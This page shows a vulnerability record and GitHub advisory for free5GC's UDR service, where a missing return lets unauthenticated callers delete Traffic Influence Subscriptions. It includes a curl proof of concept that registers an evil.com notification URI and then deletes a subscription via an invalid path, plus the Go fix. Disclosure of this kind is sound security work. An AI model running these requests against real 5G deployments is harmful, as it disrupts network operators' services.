Vulnerability-Lookup

CVE-2026-40246 (GCVE-0-2026-40246)

Vulnerability from cvelistv5 – Published: 2026-04-16 21:40 – Updated: 2026-04-16 21:40

Title

free5gc UDR improper path validation allows unauthenticated deletion of Traffic Influence Subscriptions

Summary

free5GC is an open-source implementation of the 5G core network. In versions 1.4.2 and below of the UDR service, the handler for deleting Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is deleted regardless. An unauthenticated attacker with access to the 5G Service Based Interface can delete arbitrary Traffic Influence Subscriptions by supplying any value for the influenceId path segment, while the API misleadingly returns a 404 Not Found response. A patched version was not available at the time of publication.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M

References

URL

Tags

https://github.com/free5gc/free5gc/security/advis…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	free5gc	free5gc	Affected: <= 1.4.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "free5gc",
          "vendor": "free5gc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.4.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "free5GC is an open-source implementation of the 5G core network. In versions 1.4.2 and below of the UDR service, the handler for deleting Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is deleted regardless. An unauthenticated attacker with access to the 5G Service Based Interface can delete arbitrary Traffic Influence Subscriptions by supplying any value for the influenceId path segment, while the API misleadingly returns a 404 Not Found response. A patched version was not available at the time of publication."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-16T21:40:03.598Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/free5gc/free5gc/security/advisories/GHSA-g9cw-qwhf-24jp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-g9cw-qwhf-24jp"
        }
      ],
      "source": {
        "advisory": "GHSA-g9cw-qwhf-24jp",
        "discovery": "UNKNOWN"
      },
      "title": "free5gc UDR improper path validation allows unauthenticated deletion of Traffic Influence Subscriptions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40246",
    "datePublished": "2026-04-16T21:40:03.598Z",
    "dateReserved": "2026-04-10T17:31:45.786Z",
    "dateUpdated": "2026-04-16T21:40:03.598Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-40246\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-16T22:16:38.370\",\"lastModified\":\"2026-04-16T22:16:38.370\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"free5GC is an open-source implementation of the 5G core network. In versions 1.4.2 and below of the UDR service, the handler for deleting Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is deleted regardless. An unauthenticated attacker with access to the 5G Service Based Interface can delete arbitrary Traffic Influence Subscriptions by supplying any value for the influenceId path segment, while the API misleadingly returns a 404 Not Found response. A patched version was not available at the time of publication.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-285\"}]}],\"references\":[{\"url\":\"https://github.com/free5gc/free5gc/security/advisories/GHSA-g9cw-qwhf-24jp\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

GHSA-G9CW-QWHF-24JP

Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-14 20:00

Summary

free5gc UDR improper path validation allows unauthenticated deletion of Traffic Influence Subscriptions

Details

Summary

An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to delete Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.

Details

The endpoint DELETE /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete in ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go checks whether influenceId != "subs-to-notify".
If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards.
Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeleteProcedure(c, subscriptionId).
The processor deletes the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully delete the target subscription.

The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.

PoC

No authentication is required. Only a valid subscriptionId is needed.

# Create a subscription to obtain a valid subscriptionId
curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com/notify",
    "dnns":["internet"],
    "supis":["imsi-222777483957498"]
  }'

Example response:

HTTP/1.1 201 Created

Then delete it through an invalid path:

curl -v -X DELETE "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16"

Response:

HTTP/1.1 404 Not Found
404 page not found

Now verify that the subscription was actually deleted:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16"

Response:

{"title":"User not found","status":404,"cause":"USER_NOT_FOUND"}

Impact

This is an unauthenticated unauthorized delete vulnerability. Any attacker with network access to the SBI can delete Traffic Influence Subscriptions by knowing or guessing a valid subscriptionId.

This can disrupt policy-related notification workflows and remove active subscription state from the UDR. In addition, the attack is harder to detect because the API returns a misleading 404 Not Found response even when the deletion is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

Patch

The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete:

if influenceId != "subs-to-notify" {
    c.String(http.StatusNotFound, "404 page not found")
    return
}

With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not delete the targeted subscription.

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:00:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to delete Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `DELETE /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete` in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go` checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeleteProcedure(c, subscriptionId)`.\n4. The processor deletes the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully delete the target subscription.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. Only a valid `subscriptionId` is needed.\n\n```bash\n# Create a subscription to obtain a valid subscriptionId\ncurl -v -X POST \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"notificationUri\":\"http://evil.com/notify\",\n    \"dnns\":[\"internet\"],\n    \"supis\":[\"imsi-222777483957498\"]\n  }\u0027\n```\nExample response:\n```\nHTTP/1.1 201 Created\n```\n\nThen delete it through an invalid path:\n```bash\ncurl -v -X DELETE \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16\"\n```\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found\n```\nNow verify that the subscription was actually deleted:\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16\"\n```\nResponse:\n```json\n{\"title\":\"User not found\",\"status\":404,\"cause\":\"USER_NOT_FOUND\"}\n```\n### Impact\nThis is an unauthenticated unauthorized delete vulnerability. Any attacker with network access to the SBI can delete Traffic Influence Subscriptions by knowing or guessing a valid subscriptionId.\n\nThis can disrupt policy-related notification workflows and remove active subscription state from the UDR. In addition, the attack is harder to detect because the API returns a misleading 404 Not Found response even when the deletion is actually performed.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return\nstatement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete:\n```go\nif influenceId != \"subs-to-notify\" {\n    c.String(http.StatusNotFound, \"404 page not found\")\n    return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly\nreturn HTTP 404 and do not delete the targeted subscription.",
  "id": "GHSA-g9cw-qwhf-24jp",
  "modified": "2026-04-14T20:00:24Z",
  "published": "2026-04-14T20:00:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-g9cw-qwhf-24jp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/udr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5gc UDR improper path validation allows unauthenticated deletion of Traffic Influence Subscriptions"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-40246 (GCVE-0-2026-40246)

GHSA-G9CW-QWHF-24JP

Summary

Details

PoC

Impact

Patch

Tags

Sightings

Nomenclature